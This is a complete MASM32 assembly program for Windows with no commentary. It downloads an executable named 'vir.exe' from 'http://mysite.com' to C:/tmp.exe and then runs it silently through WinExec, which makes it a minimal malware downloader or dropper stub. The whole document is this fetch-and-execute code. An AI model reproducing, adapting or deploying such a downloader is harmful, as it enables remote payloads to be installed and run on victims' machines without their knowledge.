.386 
.model flat, stdcall 
option casemap :none 
include \MASM32\INCLUDE\windows.inc
include \masm32\include\urlmon.inc
include \MASM32\INCLUDE\kernel32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \masm32\lib\urlmon.lib
.const
.data
url db "http://mysite.com/vir.exe",0
file db "C:/tmp.exe",0
.data?
.code
start:
invoke URLDownloadToFileA,0, addr url,addr file ,0,0
invoke WinExec,addr file,0
invoke ExitProcess,0
end start